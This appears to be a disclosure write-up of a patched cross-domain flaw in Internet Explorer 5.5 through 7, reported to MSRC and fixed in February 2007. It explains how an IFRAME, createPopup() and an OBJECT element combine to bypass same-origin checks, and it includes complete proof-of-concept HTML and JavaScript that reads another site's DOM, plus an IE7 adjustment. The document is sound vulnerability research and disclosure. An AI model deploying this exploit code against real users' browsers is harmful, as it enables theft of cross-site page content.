The finding was simple to describe: load any site cross-domain, then read its DOM. No user interaction required beyond visiting the page. It affected IE 5.5, 6.x, and IE7.
The trick that made it work was a combination of three things that individually were unremarkable — an <OBJECT TYPE="text/html">, a createPopup(), and an IFRAME — but together created a blind spot in IE’s same-origin enforcement.
How It Works
IE’s <OBJECT TYPE="text/html"> behaves a lot like an IFRAME, except it has a property called parentWindow that gives you a reference to a window object inside it. Normally this would still be subject to same-origin restrictions. But when the OBJECT is created inside a createPopup(), which is itself inside an IFRAME, something breaks down.
Here is what happens step by step:
- An IFRAME is written into the page. From inside that IFRAME, a
createPopup()is created. - Inside the popup, an
<OBJECT TYPE="text/html">is inserted along with a deferred script. - The script grabs
document.all.crossObject.object.parentWindow— a reference to the window inside the OBJECT. - That window can be navigated to any URL with
location.replace(). - Once it loads, the script can read the loaded page’s DOM without restriction.
The reason it worked is that IE tracked the OBJECT’s security zone based on its original location (favicon.ico in the same directory), not the destination it was navigated to. The popup’s persistence across the IFRAME’s own lifecycle added another layer of confusion that prevented the usual cross-origin checks from firing.
MSRC also opened case 6434 as a related finding: the location of the parent page was readable cross-domain through the same mechanism.
The Code
<HTML>
<HEAD><TITLE>CROSSDOMAIN DEMO</TITLE></HEAD>
<BODY>
<CENTER>
<FONT FACE="Verdana" SIZE="2">
This script shows a bug in IE 5.5/6.x and IE7.<BR><BR>
We will use Google as our target, load it inside an OBJECT and access its document.<BR><BR>
</FONT>
<SCRIPT LANGUAGE="JavaScript">
function crossDomainCode(){
function waitCrossObjectToBeReady(){
try {
// Get a pointer to the window object inside the OBJECT.
// If it's not ready yet, catch and retry.
oCross = document.all.crossObject.object.parentWindow;
oCross.location.replace('http://www.google.com/');
alert("In three seconds you will see Google's source and the background will turn red...");
setTimeout('oCross.location.replace(\'javascript:void(document.bgColor="RED");alert(document.body.outerHTML)\');', 3000);
}
catch(e) {
setTimeout('waitCrossObjectToBeReady()', 100);
}
}
waitCrossObjectToBeReady();
}
// Extracts the code inside a function so it can be injected as a string.
function returnCodeInsideFunction(r) {
r += '';
return r = r.substring(r.indexOf('{') + 1, r.lastIndexOf('}'));
}
document.write('<IFRAME NAME="crossDomainFrame" WIDTH=400 HEIGHT=400></IFRAME>');
// Create a popup inside the IFRAME.
var crossDomainPop = crossDomainFrame.createPopup();
// Place the OBJECT and the script inside the popup.
// The OBJECT behaves like an IFRAME but with different security tracking.
crossDomainPop.document.body.innerHTML =
'<OBJECT ID="crossObject" WIDTH=10 HEIGHT=10 DATA="favicon.ico" TYPE="text/html"></OBJECT>' +
'<SCRIPT DEFER>' + returnCodeInsideFunction(crossDomainCode) + '<\/SCRIPT>';
</SCRIPT>
</CENTER>
</BODY>
</HTML>
Note for IE7: The DATA="favicon.ico" needs to point to a real HTML file instead. Change it to DATA="myfile.html" and create an empty file with that name in the same directory. The technique works the same way.
The key line is document.all.crossObject.object.parentWindow. That .object property is what exposes the inner window of the OBJECT element. Once you have that reference, navigating it cross-origin and then reading its DOM is straightforward — IE simply does not check.
MSRC assigned this as case 6417. It was patched in a February 2007 bulletin.